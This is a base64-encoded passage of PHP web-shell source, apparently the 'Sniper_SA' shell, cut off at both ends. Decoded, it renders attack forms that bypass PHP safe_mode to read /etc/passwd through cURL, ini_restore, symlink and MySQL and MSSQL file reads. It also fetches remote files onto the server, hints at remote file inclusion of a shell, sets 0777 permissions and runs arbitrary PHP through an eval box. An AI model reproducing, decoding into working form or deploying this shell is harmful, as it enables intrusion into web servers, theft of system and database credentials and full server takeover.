1Ym1pdCcsMCwkbGFuZ1skbGFuZ3VhZ2UuJ19idXR0NyddKSk7DQplY2hvICR0ZS4nPC9kaXY+Jy4kdGFib GVfZW5kMS4kZmU7DQplY2hvICRmcy4kdGFibGVfdXAxLmRpdl90aXRsZSgkbGFuZ1skbGFuZ3VhZ2UuJ19 0ZXh0MzAwJ10sJ2lkMycpLiR0YWJsZV91cDIuZGl2KCdpZDMnKS4kdHM7DQplY2hvIHNyKDE1LCI8Yj4iL iRsYW5nWyRsYW5ndWFnZS4nX3RleHQyMDInXS4kYXJyb3cuIjwvYj4iLGluKCd0ZXh0JywnU25JcEVyX1N BJyw4NSwnL2V0Yy9wYXNzd2QnKS5pbignaGlkZGVuJywnY21kJywwLCdjVVJMJykuaW4oJ2hpZGRlbicsJ 2RpcicsMCwkZGlyKS53cyg0KS5pbignc3VibWl0Jywnc3VibWl0JywwLCRsYW5nWyRsYW5ndWFnZS4nX2J 1dHQ3J10pKTsNCmVjaG8gJHRlLic8L2Rpdj4nLiR0YWJsZV9lbmQxLiRmZTsNCmVjaG8gJGZzLiR0YWJsZ V91cDEuZGl2X3RpdGxlKCRsYW5nWyRsYW5ndWFnZS4nX3RleHQyMDMnXSwnaWQzJykuJHRhYmxlX3VwMi5 kaXYoJ2lkMycpLiR0czsNCmVjaG8gc3IoMTUsIjxiPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDIwMiddL iRhcnJvdy4iPC9iPiIsaW4oJ3RleHQnLCdpbmlfcmVzdG9yZScsODUsJy9ldGMvcGFzc3dkJykuaW4oJ2h pZGRlbicsJ2NtZCcsMCwnaW5pX3Jlc3RvcmUnKS5pbignaGlkZGVuJywnZGlyJywwLCRkaXIpLndzKDQpL mluKCdzdWJtaXQnLCdzdWJtaXQnLDAsJGxhbmdbJGxhbmd1YWdlLidfYnV0dDcnXSkpOw0KZWNobyAkdGU uJzwvZGl2PicuJHRhYmxlX2VuZDEuJGZlOw0KZWNobyAkZnMuJHRhYmxlX3VwMS5kaXZfdGl0bGUoJGxhb mdbJGxhbmd1YWdlLidfdGV4dDIyNCddLCdpZDMnKS4kdGFibGVfdXAyLmRpdignaWQzJykuJHRzOw0KZWN obyBzcigxNSwiPGI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0MjAyJ10uJGFycm93LiI8L2I+IiwiPHNlb GVjdCBzaXplPVwiMVwiIG5hbWU9XCJwbHVnaW5cIj48b3B0aW9uIHZhbHVlPVwicGx1Z2luXCI+L2V0Yy9 wYXNzd2Q8L29wdGlvbj48L29wdGlvbj48L3NlbGVjdD4iLmluKCdoaWRkZW4nLCdjbWQnLDAsJ3BsdWdpb icpLmluKCdoaWRkZW4nLCdkaXInLDAsJGRpcikud3MoNCkuaW4oJ3N1Ym1pdCcsJ3N1Ym1pdCcsMCwkbGF uZ1skbGFuZ3VhZ2UuJ19idXR0NyddKSk7DQplY2hvICR0ZS4nPC9kaXY+Jy4kdGFibGVfZW5kMS4kZmU7D QplY2hvICRmcy4kdGFibGVfdXAxLmRpdl90aXRsZSgkbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0MzUnXSwnaWQ xMicpLiR0YWJsZV91cDIuZGl2KCdpZDEyJykuJHRzOw0KZWNobyBzcigxNSwiPGI+Ii4kbGFuZ1skbGFuZ 3VhZ2UuJ190ZXh0MzYnXS4kYXJyb3cuIjwvYj4iLGluKCd0ZXh0JywndGVzdDNfbWQnLDE1LCghZW1wdHk oJF9QT1NUWyd0ZXN0M19tZCddKT8oJF9QT1NUWyd0ZXN0M19tZCddKTooIm15c3FsIikpKS53cyg0KS4iP GI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0MzcnXS4kYXJyb3cuIjwvYj4iLmluKCd0ZXh0JywndGVzdDN fbWwnLDE1LCghZW1wdHkoJF9QT1NUWyd0ZXN0M19tbCddKT8oJF9QT1NUWyd0ZXN0M19tbCddKTooInJvb 3QiKSkpLndzKDQpLiI8Yj4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQzOCddLiRhcnJvdy4iPC9iPiIuaW4 oJ3RleHQnLCd0ZXN0M19tcCcsMTUsKCFlbXB0eSgkX1BPU1RbJ3Rlc3QzX21wJ10pPygkX1BPU1RbJ3Rlc 3QzX21wJ10pOigicGFzc3dvcmQiKSkpLndzKDQpLiI8Yj4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQxNCd dLiRhcnJvdy4iPC9iPiIpOw0KZWNobyBzcigxNSwiPGI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0MzAnX S4kYXJyb3cuIjwvYj4iLGluKCd0ZXh0JywndGVzdDNfZmlsZScsOTYsKCFlbXB0eSgkX1BPU1RbJ3Rlc3Q zX2ZpbGUnXSk/KCRfUE9TVFsndGVzdDNfZmlsZSddKTooIi9ldGMvcGFzc3dkIikpKS5pbignaGlkZGVuJ ywnZGlyJywwLCRkaXIpLmluKCdoaWRkZW4nLCdjbWQnLDAsJ215c3FsYicpLndzKDQpLmluKCdzdWJtaXQ nLCdzdWJtaXQnLDAsJGxhbmdbJGxhbmd1YWdlLidfYnV0dDgnXSkpOw0KZWNobyAkdGUuJzwvZGl2PicuJ HRhYmxlX2VuZDEuJGZlOw0KZWNobyAkZnMuJHRhYmxlX3VwMS5kaXZfdGl0bGUoJGxhbmdbJGxhbmd1YWd lLidfdGV4dDIyMCddLCdpZDMnKS4kdGFibGVfdXAyLmRpdignaWQzJykuJHRzOw0KZWNobyBzcigxNSwiP GI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0MzAnXS4kYXJyb3cuIjwvYj4iLGluKCd0ZXh0Jywnc3ltMXA yJyw1MCwoIWVtcHR5KCRfUE9TVFsnc3ltMXAyJ10pPygkX1BPU1RbJ3N5bTFwJ10pOigiLy4uLy4uLy4uL
yIpKSkuaW4oJ3RleHQnLCdzeW0xcCcsNTAsKCFlbXB0eSgkX1BPU1RbJ3N5bTFwJ10pPygkX1BPU1RbJ3N 5bTFwJ10pOigiL2V0Yy9wYXNzd2QiKSkpLmluKCdoaWRkZW4nLCdkaXInLDAsJGRpcikuaW4oJ2hpZGRlb icsJ2NtZCcsMCwnc3ltMScpLndzKDQpLmluKCdzdWJtaXQnLCdzdWJtaXQnLDAsJGxhbmdbJGxhbmd1YWd lLidfYnV0dDgnXSkpOw0KZWNobyAkdGUuJzwvZGl2PicuJHRhYmxlX2VuZDEuJGZlOw0KZWNobyAkZnMuJ HRhYmxlX3VwMS5kaXZfdGl0bGUoJGxhbmdbJGxhbmd1YWdlLidfdGV4dDIyMiddLCdpZDMnKS4kdGFibGV fdXAyLmRpdignaWQzJykuJHRzOw0KZWNobyBzcigxNSwiPGI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0M zAnXS4kYXJyb3cuIjwvYj4iLGluKCdoaWRkZW4nLCdkaXInLDAsJGRpcikuaW4oJ2hpZGRlbicsJ2NtZCc sMCwnc3ltMicpLndzKDQpLmluKCdzdWJtaXQnLCdzdWJtaXQnLDAsJGxhbmdbJGxhbmd1YWdlLidfYnV0d DgnXSkpOw0KZWNobyAkdGUuJzwvZGl2PicuJHRhYmxlX2VuZDEuJGZlOw0KDQp7DQplY2hvICRmcy4kdGF ibGVfdXAxLmRpdl90aXRsZSgkbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0MjA0J10sJ2lkMjMnKS4kdGFibGVfd XAyLmRpdignaWQyMycpLiR0czsNCmVjaG8gc3IoMTUsIjxiPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDI wNSddLiRhcnJvdy4iPC9iPiIsaW4oJ3RleHQnLCdsb2cnLDk2LCghZW1wdHkoJF9QT1NUWydsb2cnXSk/K CRfUE9TVFsnbG9nJ10pOigkZGlyKSkpLmluKCdoaWRkZW4nLCdkaXInLDAsJGRpcikuaW4oJ2hpZGRlbic sJ2NtZCcsMCwnyuMg0tHaIMfh1OEg5sjF49/H5N8gx9PKzs/H4+UgZmlsZW5hbWUucGhwP3NzPWh0dHA6L y9zaGVsbC50eHQ/Jykud3MoNCkuaW4oJ3N1Ym1pdCcsJ3N1Ym1pdCcsMCwkbGFuZ1skbGFuZ3VhZ2UuJ19 idXR0NjUnXSkpOw0KZWNobyAkdGUuJzwvZGl2PicuJHRhYmxlX2VuZDEuJGZlOw0KZWNobyAkZnMuJHRhY mxlX3VwMS5kaXZfdGl0bGUoJGxhbmdbJGxhbmd1YWdlLidfdGV4dDIwNyddLCdpZDMnKS4kdGFibGVfdXA yLmRpdignaWQzJykuJHRzOw0KZWNobyBzcigxNSwiPGI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0MjA2J 10uJGFycm93LiI8L2I+IixpbigndGV4dCcsJ2dsb2InLDg1LCcvZXRjLycpLmluKCdoaWRkZW4nLCdjbWQ nLDAsJ2dsb2InKS5pbignaGlkZGVuJywnZGlyJywwLCRkaXIpLndzKDQpLmluKCdzdWJtaXQnLCdzdWJta XQnLDAsJGxhbmdbJGxhbmd1YWdlLidfYnV0dDcnXSkpOw0KZWNobyAkdGUuJzwvZGl2PicuJHRhYmxlX2V uZDEuJGZlOw0KZWNobyAkZnMuJHRhYmxlX3VwMS5kaXZfdGl0bGUoJGxhbmdbJGxhbmd1YWdlLidfdGV4d DIwOSddLCdpZDMnKS4kdGFibGVfdXAyLmRpdignaWQzJykuJHRzOw0KZWNobyBzcigxNSwiPGI+Ii4kbGF uZ1skbGFuZ3VhZ2UuJ190ZXh0MjA2J10uJGFycm93LiI8L2I+IixpbigndGV4dCcsJ3Jvb3QnLDg1LCcvZ XRjLycpLmluKCdoaWRkZW4nLCdjbWQnLDAsJ3Jvb3QnKS5pbignaGlkZGVuJywnZGlyJywwLCRkaXIpLnd zKDQpLmluKCdzdWJtaXQnLCdzdWJtaXQnLDAsJGxhbmdbJGxhbmd1YWdlLidfYnV0dDcnXSkpOw0KZWNob yAkdGUuJzwvZGl2PicuJHRhYmxlX2VuZDEuJGZlOw0KDQplY2hvICRmcy4kdGFibGVfdXAxLmRpdl90aXR sZSgkbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0MjEwJ10sJ2lkMTEnKS4kdGFibGVfdXAyLmRpdignaWQxMScpL iR0czsNCmVjaG8gIjx0YWJsZSBjbGFzcz10YWJsZTEgd2lkdGg9MTAwJSBhbGlnbj1jZW50ZXI+IjsNCmV jaG8gc3IoMTUsIjxiPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDMwJ10uJGFycm93LiI8L2I+Iixpbignd GV4dCcsJ3plbmQnLDg1LCghZW1wdHkoJF9QT1NUWyd6ZW5kJ10pPygkX1BPU1RbJ3plbmQnXSk6KCIvZXR jL3Bhc3N3ZCIpKSkuaW4oJ2hpZGRlbicsJ2RpcicsMCwkZGlyKS5pbignaGlkZGVuJywnY21kJywwLCd6Z W5kJykud3MoNCkuaW4oJ3N1Ym1pdCcsJ3N1Ym1pdCcsMCwkbGFuZ1skbGFuZ3VhZ2UuJ19idXR0OCddKSk 7DQplY2hvICR0ZS4nPC9kaXY+Jy4kdGFibGVfZW5kMS4kZmU7DQoNCmVjaG8gJHRhYmxlX3VwMS5kaXZfd Gl0bGUoJGxhbmdbJGxhbmd1YWdlLidfdGV4dDIxMSddLCdpZDIxJykuJHRhYmxlX3VwMi5kaXYoJ2lkMjE nKS4kdHMuIjx0cj4iLiRmcy4iPHRkIHZhbGlnbj10b3Agd2lkdGg9MzQlPiIuJHRzOw0KZWNobyAiPGZvb nQgZmFjZT10YWhvbWEgc2l6ZT0tMj48Yj48ZGl2IGFsaWduPWNlbnRlciBpZD0nbic+Ii4kbGFuZ1skbGF uZ3VhZ2UuJ190ZXh0MjEyJ10uIjwvZGl2PjwvYj48L2ZvbnQ+IjsNCmVjaG8gc3IoNDAsIjxiPiIuJGxhb mdbJGxhbmd1YWdlLidfdGV4dDIwJ10uJGFycm93LiI8L2I+IixpbigndGV4dCcsJ3BocF9pbmkxJywxMCw ncGhwLmluaScpLndzKDQpLmluKCdzdWJtaXQnLCdzdWJtaXQnLDAsJGxhbmdbJGxhbmd1YWdlLidfYnV0d DY1J10pKTsNCmVjaG8gIjxmb250IGZhY2U9dGFob21hIHNpemU9LTI+PGI+PGRpdiBhbGlnbj1jZW 50ZXIgaWQ9J24nPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDIxMyddLiI8L2Rpdj48L2I+PC9mb250PiI7 DQplY2hvIHNyKDQwLCI8Yj4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQyMCddLiRhcnJvdy4iPC9iPiIsaW 4oJ3RleHQnLCdodGFjY2VzJywxMCwnaHRhY2Nlc3MnKS53cyg0KS5pbignc3VibWl0Jywnc3VibWl0Jyww LCRsYW5nWyRsYW5ndWFnZS4nX2J1dHQ2NSddKSk7DQplY2hvICI8Zm9udCBmYWNlPXRhaG9tYSBzaXplPS 0yPjxiPjxkaXYgYWxpZ249Y2VudGVyIGlkPSduJz4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQyMTgnXS4i PC9kaXY+PC9iPjwvZm9udD4iOw0KZWNobyBzcig0MCwiPGI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0Mj AnXS4kYXJyb3cuIjwvYj4iLGluKCd0ZXh0JywnZmlsZV9pbmknLDEwLCdpbmkucGhwJykud3MoNCkuaW4o J3N1Ym1pdCcsJ3N1Ym1pdCcsMCwkbGFuZ1skbGFuZ3VhZ2UuJ19idXR0NjUnXSkpOw0KZWNobyAkdGUuJz wvZGl2PicuJHRhYmxlX2VuZDEuJGZlOw0KZWNobyAkZnMuJHRhYmxlX3VwMS5kaXZfdGl0bGUoJGxhbmdb JGxhbmd1YWdlLidfdGV4dDIyMSddLCdpZDE1JykuJHRhYmxlX3VwMi5kaXYoJ2lkMTUnKS4kdHM7DQplY2 hvIHNyKDE1LCI8Yj4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQxNiddLiRhcnJvdy4iPC9iPiIsaW4oJ2hp ZGRlbicsJ2RpcicsMCwkZGlyKS53cygyKS4iPGI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0MTcnXS4kYX Jyb3cuIjwvYj4iLmluKCd0ZXh0JywnZnVuemlwJyw3OCwiJGRpci9maWxlIikpOw0KZWNobyBzcigxNSwi PGI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0NjUnXS4kYXJyb3cuIjwvYj4iLGluKCd0ZXh0JywnZnppcC csMTA1LCIkZGlyL3NwbG9pdHouemlwIikud3MoNCkuaW4oJ3N1Ym1pdCcsJ3N1Ym1pdCcsMCwkbGFuZ1sk bGFuZ3VhZ2UuJ19idXR0MiddKSk7DQplY2hvICR0ZS4nPC9kaXY+Jy4kdGFibGVfZW5kMS4kZmU7DQplY2 hvICRmcy4kdGFibGVfdXAxLmRpdl90aXRsZSgkbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0MjE5J10sJ2lkMTUn
KS4kdGFibGVfdXAyLmRpdignaWQxNScpLiR0czsNCmVjaG8gc3IoMTUsIjxiPiIuJGxhbmdbJGxhbmd1YW dlLidfdGV4dDE2J10uJGFycm93LiI8L2I+IixpbignaGlkZGVuJywnZGlyJywwLCRkaXIpLndzKDIpLiI8 Yj4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQxNyddLiRhcnJvdy4iPC9iPiIuaW4oJ3RleHQnLCdmaWxlZn JvbScsNzgsJ2h0dHA6Ly93ZWJzaXRlLmNvbS9maWxlLnR4dCcpKTsNCmVjaG8gc3IoMTUsIjxiPiIuJGxh bmdbJGxhbmd1YWdlLidfdGV4dDIxJ10uJGFycm93LiI8L2I+IixpbigndGV4dCcsJ2ZpbGV0bycsMTA1LG ZpbGVuYW1lXy5waHApLndzKDQpLmluKCdzdWJtaXQnLCdzdWJtaXQnLDAsJGxhbmdbJGxhbmd1YWdlLidf YnV0dDInXSkpOw0KZWNobyAkdGUuJzwvZGl2PicuJHRhYmxlX2VuZDEuJGZlOw0KDQokYWxpYXNlczIgPS AnJzsNCmZvcmVhY2ggKCRhbGlhc2VzIGFzICRhbGlhc19uYW1lPT4kYWxpYXNfY21kKQ0KIHsNCiAkYWxp YXNlczIgLj0gIjxvcHRpb24+JGFsaWFzX25hbWU8L29wdGlvbj4iOw0KIH0NCmVjaG8gJGZzLiR0YWJsZV 91cDEuZGl2X3RpdGxlKCRsYW5nWyRsYW5ndWFnZS4nX3RleHQ3J10sJ2lkNicpLiR0YWJsZV91cDIuZGl2 KCdpZDYnKS4kdHM7DQplY2hvIHNyKDE1LCI8Yj4iLndzKDkpLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQ4J1 0uJGFycm93LndzKDQpLiI8L2I+IiwiPHNlbGVjdCBuYW1lPWFsaWFzPiIuJGFsaWFzZXMyLiI8L3NlbGVj dD4iLmluKCdoaWRkZW4nLCdkaXInLDAsJGRpcikud3MoNCkuaW4oJ3N1Ym1pdCcsJ3N1Ym1pdCcsMCwkbG FuZ1skbGFuZ3VhZ2UuJ19idXR0MSddKSk7DQplY2hvICR0ZS4nPC9kaXY+Jy4kdGFibGVfZW5kMS4kZmU7 DQoNCn0NCg0KaWYoJHNhZmVfbW9kZSl7DQplY2hvICRmcy4kdGFibGVfdXAxLmRpdl90aXRsZSgkbGFuZ1 skbGFuZ3VhZ2UuJ190ZXh0NTcnXSwnaWQ0JykuJHRhYmxlX3VwMi5kaXYoJ2lkNCcpLiR0czsNCmVjaG8g c3IoMTUsIjxiPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDU4J10uJGFycm93LiI8L2I+IixpbigndGV4dC csJ21rX25hbWUnLDU0LCghZW1wdHkoJF9QT1NUWydta19uYW1lJ10pPygkX1BPU1RbJ21rX25hbWUnXSk6 KCJuZXdfbmFtZSIpKSkud3MoNCkuIjxzZWxlY3QgbmFtZT1hY3Rpb24+PG9wdGlvbiB2YWx1ZT1jcmVhdG U+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0NjUnXS4iPC9vcHRpb24+PG9wdGlvbiB2YWx1ZT1kZWxldGU+ Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0NjYnXS4iPC9vcHRpb24+PC9zZWxlY3Q+Ii53cygzKS4iPHNlbG VjdCBuYW1lPXdoYXQ+PG9wdGlvbiB2YWx1ZT1maWxlPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDU5J10u Ijwvb3B0aW9uPjxvcHRpb24gdmFsdWU9ZGlyPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDYwJ10uIjwvb3 B0aW9uPjwvc2VsZWN0PiIuaW4oJ2hpZGRlbicsJ2NtZCcsMCwnbWsnKS5pbignaGlkZGVuJywnZGlyJyww LCRkaXIpLndzKDQpLmluKCdzdWJtaXQnLCdzdWJtaXQnLDAsJGxhbmdbJGxhbmd1YWdlLidfYnV0dDEzJ1 0pKTsNCmVjaG8gJHRlLic8L2Rpdj4nLiR0YWJsZV9lbmQxLiRmZTsNCn0NCmlmKCRzYWZlX21vZGUgJiYg JHVuaXgpew0KZWNobyAkZnMuJHRhYmxlX3VwMS5kaXZfdGl0bGUoJGxhbmdbJGxhbmd1YWdlLidfdGV4dD Y3J10sJ2lkNScpLiR0YWJsZV91cDIuZGl2KCdpZDUnKS4kdHM7DQplY2hvIHNyKDE1LCI8Yj4iLiRsYW5n WyRsYW5ndWFnZS4nX3RleHQ2OCddLiRhcnJvdy4iPC9iPiIsIjxzZWxlY3QgbmFtZT13aGF0PjxvcHRpb2 4gdmFsdWU9bW9kPkNITU9EPC9vcHRpb24+PG9wdGlvbiB2YWx1ZT1vd24+Q0hPV048L29wdGlvbj48b3B0 aW9uIHZhbHVlPWdycD5DSEdSUDwvb3B0aW9uPjwvc2VsZWN0PiIud3MoMikuIjxiPiIuJGxhbmdbJGxhbm d1YWdlLidfdGV4dDY5J10uJGFycm93LiI8L2I+Ii53cygyKS5pbigndGV4dCcsJ3BhcmFtMScsNDAsKCgk X1BPU1RbJ3BhcmFtMSddKT8oJF9QT1NUWydwYXJhbTEnXSk6KCJmaWxlbmFtZSIpKSkud3MoMikuIjxiPi IuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDcwJ10uJGFycm93LiI8L2I+Ii53cygyKS5pbigndGV4dCcsJ3Bh cmFtMiB0aXRsZT0iJy4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0NzEnXS4nIicsMjYsKCgkX1BPU1RbJ3Bhcm FtMiddKT8oJF9QT1NUWydwYXJhbTInXSk6KCIwNzc3IikpKS5pbignaGlkZGVuJywnY21kJywwLCdjaF8n KS5pbignaGlkZGVuJywnZGlyJywwLCRkaXIpLndzKDQpLmluKCdzdWJtaXQnLCdzdWJtaXQnLDAsJGxhbm dbJGxhbmd1YWdlLidfYnV0dDEnXSkpOw0KZWNobyAkdGUuJzwvZGl2PicuJHRhYmxlX2VuZDEuJGZlOw0K fQ0KaWYoJHNhZmVfbW9kZSl7DQoNCmVjaG8gJGZzLiR0YWJsZV91cDEuZGl2X3RpdGxlKCRsYW5nWyRsYW 5ndWFnZS4nX3RleHQ1NCddLCdpZDcnKS4kdGFibGVfdXAyLmRpdignaWQ3JykuJHRzOw0KZWNobyBzcigx NSwiPGI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0NTInXS4kYXJyb3cuIjwvYj4iLGluKCd0ZXh0Jywnc1 90ZXh0Jyw4NSwndGV4dCcpLndzKDQpLmluKCdzdWJtaXQnLCdzdWJtaXQnLDAsJGxhbmdbJGxhbmd1YWdl LidfYnV0dDEyJ10pKTsNCmVjaG8gc3IoMTUsIjxiPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDUzJ10uJG Fycm93LiI8L2I+IixpbigndGV4dCcsJ3NfZGlyJyw4NSwkZGlyKS4iICogKCAvcm9vdDsvaG9tZTsvdG1w ICkiKTsNCmVjaG8gc3IoMTUsIjxiPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDU1J10uJGFycm93LiI8L2 I+IixpbignY2hlY2tib3gnLCdtIGlkPW0nLDAsJzEnKS5pbigndGV4dCcsJ3NfbWFzaycsODIsJy50eHQ7 LnBocCcpLiIqICggLnR4dDsucGhwOy5odG0gKSIuaW4oJ2hpZGRlbicsJ2NtZCcsMCwnc2VhcmNoX3RleH QnKS5pbignaGlkZGVuJywnZGlyJywwLCRkaXIpKTsNCmVjaG8gJHRlLic8L2Rpdj4nLiR0YWJsZV9lbmQx LiRmZTsNCmlmKCEkc2FmZV9tb2RlICYmICR1bml4KXsNCmVjaG8gJGZzLiR0YWJsZV91cDEuZGl2X3RpdG xlKCRsYW5nWyRsYW5ndWFnZS4nX3RleHQ3NiddLCdpZDgnKS4kdGFibGVfdXAyLmRpdignaWQ4JykuJHRz Ow0KZWNobyBzcigxNSwiPGI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0NzInXS4kYXJyb3cuIjwvYj4iLG luKCd0ZXh0Jywnc190ZXh0Jyw4NSwndGV4dCcpLndzKDQpLmluKCdzdWJtaXQnLCdzdWJtaXQnLDAsJGxh bmdbJGxhbmd1YWdlLidfYnV0dDEyJ10pKTsNCmVjaG8gc3IoMTUsIjxiPiIuJGxhbmdbJGxhbmd1YWdlLi dfdGV4dDczJ10uJGFycm93LiI8L2I+IixpbigndGV4dCcsJ3NfZGlyJyw4NSwkZGlyKS4iICogKCAvcm9v dDsvaG9tZTsvdG1wICkiKTsNCmVjaG8gc3IoMTUsIjxiPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDc0J1 0uJGFycm93LiI8L2I+IixpbigndGV4dCcsJ3NfbWFzaycsODUsJyouW2hjXScpLndzKDEpLiRsYW5nWyRs YW5ndWFnZS4nX3RleHQ3NSddLmluKCdoaWRkZW4nLCdjbWQnLDAsJ2ZpbmRfdGV4dCcpLmluKCdoaWRkZW 4nLCdkaXInLDAsJGRpcikpOw0KZWNobyAkdGUuJzwvZGl2PicuJHRhYmxlX2VuZDEuJGZlOw0KfQ0KZWNo
byAkZnMuJHRhYmxlX3VwMS5kaXZfdGl0bGUoJGxhbmdbJGxhbmd1YWdlLidfdGV4dDMyJ10sJ2lkOScpLi R0YWJsZV91cDIuJGZvbnQ7DQplY2hvICI8ZGl2IGFsaWduPWNlbnRlcj4iLmRpdignaWQ5JykuIjx0ZXh0 YXJlYSBuYW1lPXBocF9ldmFsIGNvbHM9MTAwIHJvd3M9Mz4iOw0KZWNobyAoIWVtcHR5KCRfUE9TVFsncG hwX2V2YWwnXSk/KCRfUE9TVFsncGhwX2V2YWwnXSk6KCIvKiBkZWxldGUgc2NyaXB0ICovXHJcbi8vdW5s aW5rKFwic25pcGVyX3NhLnBocFwiKTtcclxuLy9yZWFkZmlsZShcIi9ldGMvcGFzc3dkXCIpOyIpKTsNCm VjaG8gIjwvdGV4dGFyZWE+IjsNCmVjaG8gaW4oJ2hpZGRlbicsJ2RpcicsMCwkZGlyKS5pbignaGlkZGVu JywnY21kJywwLCdwaHBfZXZhbCcpOw0KZWNobyAiPGJyPiIud3MoMSkuaW4oJ3N1Ym1pdCcsJ3N1Ym1pdC csMCwkbGFuZ1skbGFuZ3VhZ2UuJ19idXR0MSddKTsNCmVjaG8gIjwvZGl2PjwvZGl2PjwvZm9udD4iOw0K ZWNobyAkdGFibGVfZW5kMS4kZmU7DQppZigkc2FmZV9tb2RlJiYkY3VybF9vbikNCnsNCmVjaG8gJGZzLi R0YWJsZV91cDEuZGl2X3RpdGxlKCRsYW5nWyRsYW5ndWFnZS4nX3RleHQzMyddLCdpZDEwJykuJHRhYmxl X3VwMi5kaXYoJ2lkMTAnKS4kdHM7DQplY2hvIHNyKDE1LCI8Yj4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleH QzMCddLiRhcnJvdy4iPC9iPiIsaW4oJ3RleHQnLCd0ZXN0MV9maWxlJyw4NSwoIWVtcHR5KCRfUE9TVFsn dGVzdDFfZmlsZSddKT8oJF9QT1NUWyd0ZXN0MV9maWxlJ10pOigiL2V0Yy9wYXNzd2QiKSkpLmluKCdoaW RkZW4nLCdkaXInLDAsJGRpcikuaW4oJ2hpZGRlbicsJ2NtZCcsMCwndGVzdDEnKS53cyg0KS5pbignc3Vi bWl0Jywnc3VibWl0JywwLCRsYW5nWyRsYW5ndWFnZS4nX2J1dHQ4J10pKTsNCmVjaG8gJHRlLic8L2Rpdj 4nLiR0YWJsZV9lbmQxLiRmZTsNCn0NCn0NCmlmKCRzYWZlX21vZGUpDQp7DQplY2hvICRmcy4kdGFibGVf dXAxLmRpdl90aXRsZSgkbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0MzQnXSwnaWQxMScpLiR0YWJsZV91cDIuZG l2KCdpZDExJykuJHRzOw0KZWNobyAiPHRhYmxlIGNsYXNzPXRhYmxlMSB3aWR0aD0xMDAlIGFsaWduPWNl bnRlcj4iOw0KZWNobyBzcigxNSwiPGI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0MzAnXS4kYXJyb3cuIj wvYj4iLGluKCd0ZXh0JywndGVzdDJfZmlsZScsODUsKCFlbXB0eSgkX1BPU1RbJ3Rlc3QyX2ZpbGUnXSk/ KCRfUE9TVFsndGVzdDJfZmlsZSddKTooIi9ldGMvcGFzc3dkIikpKS5pbignaGlkZGVuJywnZGlyJywwLC RkaXIpLmluKCdoaWRkZW4nLCdjbWQnLDAsJ3Rlc3QyJykud3MoNCkuaW4oJ3N1Ym1pdCcsJ3N1Ym1pdCcs MCwkbGFuZ1skbGFuZ3VhZ2UuJ19idXR0OCddKSk7DQplY2hvICR0ZS4nPC9kaXY+Jy4kdGFibGVfZW5kMS 4kZmU7DQp9DQoNCg0KaWYoJHNhZmVfbW9kZSYmJG1zc3FsX29uKQ0Kew0KZWNobyAkZnMuJHRhYmxlX3Vw MS5kaXZfdGl0bGUoJGxhbmdbJGxhbmd1YWdlLidfdGV4dDg1J10sJ2lkMTMnKS4kdGFibGVfdXAyLmRpdi gnaWQxMycpLiR0czsNCmVjaG8gc3IoMTUsIjxiPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDM2J10uJGFy cm93LiI8L2I+IixpbigndGV4dCcsJ3Rlc3Q0X21kJywxNSwoIWVtcHR5KCRfUE9TVFsndGVzdDRfbWQnXS k/KCRfUE9TVFsndGVzdDRfbWQnXSk6KCJtYXN0ZXIiKSkpLndzKDQpLiI8Yj4iLiRsYW5nWyRsYW5ndWFn ZS4nX3RleHQzNyddLiRhcnJvdy4iPC9iPiIuaW4oJ3RleHQnLCd0ZXN0NF9tbCcsMTUsKCFlbXB0eSgkX1 BPU1RbJ3Rlc3Q0X21sJ10pPygkX1BPU1RbJ3Rlc3Q0X21sJ10pOigic2EiKSkpLndzKDQpLiI8Yj4iLiRs YW5nWyRsYW5ndWFnZS4nX3RleHQzOCddLiRhcnJvdy4iPC9iPiIuaW4oJ3RleHQnLCd0ZXN0NF9tcCcsMT UsKCFlbXB0eSgkX1BPU1RbJ3Rlc3Q0X21wJ10pPygkX1BPU1RbJ3Rlc3Q0X21wJ10pOigicGFzc3dvcmQi KSkpLndzKDQpLiI8Yj4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQxNCddLiRhcnJvdy4iPC9iPiIuaW4oJ3 RleHQnLCd0ZXN0NF9wb3J0JywxNSwoIWVtcHR5KCRfUE9TVFsndGVzdDRfcG9ydCddKT8oJF9QT1NUWyd0 ZXN0NF9wb3J0J10pOigiMTQzMyIpKSkpOw0KZWNobyBzcigxNSwiPGI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ1 